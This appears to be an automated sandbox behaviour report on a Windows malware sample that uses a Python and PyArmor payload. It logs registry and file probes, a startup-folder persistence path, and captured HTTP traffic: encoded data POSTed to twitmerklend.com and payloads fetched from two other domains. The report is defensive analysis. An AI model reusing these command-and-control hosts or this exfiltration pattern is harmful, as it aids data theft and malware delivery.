"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "DEFAULTCONNECTIONSETTINGS"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "MIGRATEPROXY"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTOCONFIGURL"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "AUTODETECT"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "SAVEDLEGACYSETTINGS"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "30336ED4-E327-447C-9DE0-51B652C86108"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "32980F26-C8F5-5767-6B26-635B3FA83C61"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "703FCC13-B66F-5868-DDD9-E2DB7F381FFB"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "9A2EDB8F-5883-499F-ACED-6E4B69D43DDF"; Value: "") "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "A40B455C-253C-4311-AC6D-6E667EDCCEFC"; Value: "")66:T4c6,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\Windows\System32\wow64log.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\WINDOWS\system32\wow64log.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\Windows\SysWOW64\imm32.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\WINDOWS\SysWOW64\IMM32.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\windows\temp\VxSSL32.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\FLTLIB.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\Windows\SysWOW64\fltLib.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\WINDOWS\SysWOW64\FLTLIB.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to touch file "C:\MSVCP140.dll"67:T788,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\System32\wow64log.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\FLTLIB.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\MSVCP140.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\rpcss.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\winhttp.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\webio.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\winnlsres.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\SspiCli.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\ncrypt.dll" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\MSASN1.dll"68:T78a,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\winnlsres.dll.mui" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "\Device\RasAcd" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\mswsock.dll.mui" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\wshqos.dll.mui" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\CRYPT32.dll.mui" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\ProgramData\NexusSoftware\felix1" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\ProgramData\NexusSoftware\felix1\pyarmor_runtime_000000" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\pythonw.exe.lnk" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\SysWOW64\en-US\PROPSYS.dll.mui" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\ProgramData\NexusSoftware\felix1\pythonw.exe:Zone.Identifier" "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" trying to access non-existent file "C:\Windows\WinSxS\FileMaps\programdata_nexussoftware_felix1_a5ac063a6f54456f.cdf-ms"69:Tb23,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "bafaf0" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "ba8aa8" "lpszHeaders": "Content-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7s" "dwHeadersLength": "76" "lpOptional": "------HttpClientPK7Iz6JoNiPmVI7sContent-Disposition: form-data; name=\"data\"X7LpMxjE180APgJJl40ettpN2bnayUnrrkZaNUjO5+adcweFcPPno1PfYvD29+iAOi41kkLm5i+SMWlQERvLizLeqDZ4tYF0oRkuDAR5WVRbYZuWOI6bd+d5d5b7BSliNbU3DHsnbW92mACrbOyysbe4nDm+BarHmqXCHXSQNrlk7qBw+" "dwOptionalLength": "1006" "dwTotalLength": "1006" "dwContext": "0"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "3131778" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "316a6b8" "lpszHeaders": "Content-Type: multipart/form-data; boundary=----HttpClientfQJkjUXORAbcTu9G" "dwHeadersLength": "76" "lpOptional": "------HttpClientfQJkjUXORAbcTu9GContent-Disposition: form-data; name=\"data\"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si" "dwOptionalLength": "742" "dwTotalLength": "742" "dwContext": "0"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "ba7f58" "lpszHeaders": "Content-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5E" "dwHeadersLength": "76" "lpOptional": "------HttpClientl0ty56B4pw3WvS5EContent-Disposition: form-data; name=\"data\"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si" "dwOptionalLength": "742" "dwTotalLength": "742" "dwContext": "0"} "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "WinHttpSendRequest" with parameters {"hRequest": "3131778" "lpszHeaders": "Content-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDU" "dwHeadersLength": "76" "lpOptional": "------HttpClient7eJMDmlo1sXKNEDUContent-Disposition: form-data; name=\"data\"X7LpMxjE180APgK5lI0ettpN2bnayUnrrkZgNUjO8+adcx2FS/PMo1TfePDz9/KAQjpd8yeFgkzNVBojZWiq1Ea13VMLzIpQoXguGgRQWQZbdZujOJSbTOdtd4z7fik3NYc3PnsmbXl2sgCMbNqy87e/nCK+GqrhmonCIFLhVdUFjM0Wi" "dwOptionalLength": "642" "dwTotalLength": "642" "dwContext": "0"}6a:T1a3a,Found string "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7sUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 1006Host: twitmerklend.com------HttpClientPK7Iz6JoNiPmVI7sContent-Disposition: form-data; name="data"X7LpMxjE180APgJJl40ettpN2bnayUnrrkZaNUjO5+adcweFcPPno1PfYvD29+iAOi41kkLm5i+SMWlQERvLizLeqDZ4tYF0oRkuDAR5WVRbYZuWOI6bd+d5d5b7BSliNbU3DHsnbW92mACrbOyysbe4nDm+BarHmqXCHXSQNrlk7qBw+zREHDl8tYPpOm2l5rwsLZEy/0sMK7mtPenYaE2R+jxsJ4oz+gQ0/aevOVuMrr/+2Hl6OkjDkdnyAXVn0TPRGf8YXrLQqDNm/M1Tw4vPcVaR9PvA11pmf7p0Fwu4UC+jpHDeZW0g14NqPlNojSxo9U+/7NRWxKm/1X4RTVN/0/c3VQC04ggEz3hcsd9wv1CehSP6IarMEdCcSYkg4jtGKGpDvFtSB0M161BHgSVVzm2GG4uvKy9snl3mJN0/7RjccsRHYssnZZkV8ZyROQXj81VsyZr1lGreetC1mCIqGwu5U+1nwh2Uv9iv7mw4UEqYi7vH/UT4AMo05Z1QM/PAA6BhzhISHD+Z2/R05zAwZRuhvMb7NRpa+uH6+L21mKN5gw+mna5IWuIBEzN5WFNgBwtx3E8Kjjo1UCzEGOBFS0h/PYPk8YmRVLjtdByuOXBistn6OBJ5nNonuZ4se/lnHWc4JQAyhTewzjUvMDUmFMv+viUGecI7aifjFUK6wRPHSRXPb7RL73wjAt7eGAFwUkKXGWxkCANRb5sZcCk2hPhtL5ZBqWIBrD1yVfnMQ6eW1gW9gmx8/UKI64Rp3CY0REointjMlc5pD6kk1vBrObezmAETiRw+LAugB40S+xfqfqm2QopCCimDqY2H8n/RP+J9AZaOi9wDDkuhbQboU2loNFuROWGnt6B6zt7zyPdQDw==------HttpClientPK7Iz6JoNiPmVI7s--"; File: "PCAP") Found string "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientfQJkjUXORAbcTu9GUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com------HttpClientfQJkjUXORAbcTu9GContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwqJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==------HttpClientfQJkjUXORAbcTu9G--"; File: "PCAP") Found string "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5EUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 742Host: twitmerklend.com------HttpClientl0ty56B4pw3WvS5EContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si1IlL1AY0tOHcDLEj+hIK/oy5UsZK6OtMOnuaEGR7DwBJ4ozwxAGkMPOCTi6xouX6hcZX2Wc8rDHZUMD4TP8L8paa4XjnQFR0fgyhb6MFBX0t9bw4GlWRtxMdT2PFRnlwEW9U1li7sYPCjVfhnto3U/m7IFWmqnn1VIRG1MS0983CADg4jsEyHgqsdxwvlCfhS/6Vaq+EdCcP4kn4kpGJ2pLvGZ0QiBzimUqt1UXryjvL+yYRWwz2zTeQOta23btBoYuUa0VDNhwyO6hcTbjwmdY+66RoFroTOmBqhAbeEiUZo5Q91+iieifw2cXUB2Yzbuc/QX4Bcpe5Y5QM/OfA+RhlxIbHDOZ6vRC52UwKBugvPTrUG88ieCL+Ka1haNHgxGmja4lWoEBRTNpWBlgUg0j3HMKqjpMSkOnao8aJisPUvaAhez0VMrtKw==------HttpClientl0ty56B4pw3WvS5E--"; File: "PCAP") Found string "POST /31aa8434-bc4d-511f-910d-adbab2766b4f HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDUUser-Agent: uJ7gFEPqcKUGx6qlbf3dPJaTContent-Length: 642Host: twitmerklend.com------HttpClient7eJMDmlo1sXKNEDUContent-Disposition: form-data; name="data"X7LpMxjE180APgK5lI0ettpN2bnayUnrrkZgNUjO8+adcx2FS/PMo1TfePDz9/KAQjpd8yeFgkzNVBojZWiq1Ea13VMLzIpQoXguGgRQWQZbdZujOJSbTOdtd4z7fik3NYc3PnsmbXl2sgCMbNqy87e/nCK+GqrhmonCIFLhVdUFjM0WiwcleFAs0smHWzLxj7dcLZky8EsbK7itMunfaE2R1zxNJ+4zrAQG/fWvS1uNrr7+3XksOiPDsdmEAQBn0TPPGfMYU7LVqERml80Hw4jPVlax9OLA11oVf5l0TQu5UC+j8XD/ZWog3INOPgxotjhbmH7e2LdirJ3W4xAoKGEg4p50MTXQ1QhG+U4egeh7rFDKhXf6Cqr/EfKcY4l34mZGTmoSvAlSJ0Md6xFH3iVxzkGGSovqKyRs213sJNk/vxjdcrBHZcsnZbsV5ZzCOQPj9FVoyYP1lWrdetq1mCI2Gym5U+01wjqUpNio7lciNij6/oyuyyicZKlr0etpVpayZdM=------HttpClient7eJMDmlo1sXKNEDU--"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7s"; Source: "00000000-00002512-00000CCC-533554120") Found string "------HttpClientPK7Iz6JoNiPmVI7sContent-Disposition: form-data; name="data"X7LpMxjE180APgJJl40ettpN2bnayUnrrkZaNUjO5+adcweFcPPno1PfYvD29+iAOi41kkLm5i+SMWlQERvLizLeqDZ4tYF0oRkuDAR5WVRbYZuWOI6bd+d5d5b7BSliNbU3DHsnbW92mACrbOyysbe4nDm+BarHmqXCHXSQNrlk7qBw+"; Source: "00000000-00002512-00000CCC-533554120") Found string "Content-Type: multipart/form-data; boundary=----HttpClientfQJkjUXORAbcTu9G"; Source: "00000000-00002512-00000CCC-553445459") Found string "------HttpClientfQJkjUXORAbcTu9GContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si"; Source: "00000000-00002512-00000CCC-553445459") Found string "Content-Type: multipart/form-data; boundary=----HttpClientl0ty56B4pw3WvS5E"; Source: "00000000-00002512-00000CCC-558959745") Found string "------HttpClientl0ty56B4pw3WvS5EContent-Disposition: form-data; name="data"X7LpMxjE180APgIPlI0ettpN2bnayUnrrkZiNUjO8+adcx2FS/PMo1ffafD49/iARDpB8yuFiUz8VDYjYmi/1FO13FMNzPJEqg0uGARQWQBbY5ujOLibeOdjd5D7NykHNfI3AXtbbSl2kwCPbM+y0retnAq+BKrzmrbCblKmVcgFgs0Si"; Source: "00000000-00002512-00000CCC-558959745") Found string "Content-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDU"; Source: "00000000-00002512-00000CCC-559517514") Found string "------HttpClient7eJMDmlo1sXKNEDUContent-Disposition: form-data; name="data"X7LpMxjE180APgK5lI0ettpN2bnayUnrrkZgNUjO8+adcx2FS/PMo1TfePDz9/KAQjpd8yeFgkzNVBojZWiq1Ea13VMLzIpQoXguGgRQWQZbdZujOJSbTOdtd4z7fik3NYc3PnsmbXl2sgCMbNqy87e/nCK+GqrhmonCIFLhVdUFjM0Wi"; Source: "00000000-00002512-00000CCC-559517514") Found string "Content-Disposition: form-data; name="data""; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.03130000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----HttpClientPK7Iz6JoNiPmVI7s"; Source: "00000000-00002512.00000000.109517.00B70000.00000004.mdmp, 00000000-00002512.00000001.111136.00B70000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----HttpClient7eJMDmlo1sXKNEDU"; Source: "00000000-00002512.00000001.111136.03130000.00000004.mdmp")6b:Tcf4,file/memory contains long string with (Indicator: " connect "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsastartup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: "wsacleanup"; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " send "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " recv "; File: "HTCTL32.DLL") file/memory contains long string with (Indicator: " send "; File: "pyexpat.pyd") file/memory contains long string with (Indicator: " socket "; File: "_socket.pyd") file/memory contains long string with (Indicator: " connect "; File: "_socket.pyd") file/memory contains long string with (Indicator: " bind "; File: "_socket.pyd") file/memory contains long string with (Indicator: " accept "; File: "_socket.pyd") file/memory contains long string with (Indicator: "inet_ntoa"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostbyname"; File: "_socket.pyd") file/memory contains long string with (Indicator: "gethostname"; File: "_socket.pyd") file/memory contains long string with (Indicator: " send "; File: "_socket.pyd") file/memory contains long string with (Indicator: " socket "; File: "_overlapped.pyd") file/memory contains long string with (Indicator: " socket "; File: "select.pyd") Found reference to API "inet_addr" (Indicator: "inet_addr"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "WSAGetLastError" (Indicator: "wsagetlasterror"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "WSAStartup" (Indicator: "wsastartup"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "WSACleanup" (Indicator: "wsacleanup"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "gethostbyname" (Indicator: "gethostbyname"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "inet_ntoa" (Indicator: "inet_ntoa"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "gethostname" (Indicator: "gethostname"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "__WSAFDIsSet" (Indicator: "__wsafdisset"; File: "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe") Found reference to API "Note: The wrapped version will only accept the object format" (Indicator: " accept "; Source: "00000000-00003580.00000000.111018.04C70000.00000004.mdmp") Found reference to API "All functions which accept a handle object also accept an integer --" (Indicator: " accept "; Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp") Found reference to API "S_IFSOCK: socket file" (Indicator: " socket "; Source: "00000000-00003580.00000001.112940.02CA0000.00000004.mdmp") Found reference to API "used with a socket or two-way pipe." (Indicator: " socket "; Source: "00000000-00003580.00000001.112940.04A60000.00000004.mdmp") Found reference to API "does not accept an iterable for an input." (Indicator: " accept "; Source: "00000000-00003580.00000001.112940.04B70000.00000004.mdmp")6c:T2d8f,Pattern match: "https://clients2.google.com/cr/report" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0*g" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "http://ocsp.globalsign.com/rootr30;/http://secure.globalsign.com/cacert/root-r3.crt06/0-0+%http://crl.globalsign.com/root-r3.crl0g@0" Pattern match: "www.microsoft.com/pkiops/crl/microsoft%20windows%20third%20party%20component%20ca%202013.crl0u0s0qehttp://www.microsoft.com/pkiops/certs/microsoft%20windows%20third%20party%20component%20ca%202013.crt0huddg" Pattern match: "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c" Pattern match: "www.usertrust.com1utn-userfirst-object0151231000000z190709184036z0greater" Pattern match: "spj-spj.spj/spj0spjdspjespjfspjgspjhspjispjjspjkspjlspjmspjnspjosjpj8spj9spj:spj;spj" Pattern match: "http://www.w3.org/xml/1998/namespacecdatandatanotationentitypublicpcdatasystemdoctypeelementimpliedattlistversionutf-16" Pattern match: "http://www.w3.org/xml/1998/namespacecdatanotation" Pattern match: "www.memtest86.com" Heuristic match: "twitmerklend.com" Heuristic match: "get /31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheuser-agent: uj7gfepqckugx6qlbf3dpjathost: twitmerklend.com" Heuristic match: "viigmeeftsgs.com" Heuristic match: "get /fkdr2342fsf/felix1 http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/140.0.0.0 safari/537.36host: viigmeeftsgs.com" Heuristic match: "thelkfklef.com" Heuristic match: "get /39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheuser-agent: mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/140.0.0.0 safari/537.36host: thelkfkl" Pattern match: "www.google.com" Heuristic match: "accounts.google.com" Heuristic match: "clients2.google.com" Heuristic match: "clientservices.googleapis.com" Heuristic match: "safebrowsingohttpgateway.googleapis.com" Heuristic match: "%allusersprofile%\nexussoftware\felix1\pythonw.exe %allusersprofile%\nexussoftware\felix1\main.py" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750#" Heuristic match: "%allusersprofile%\nexussoftware\felix1\main.py" Pattern match: 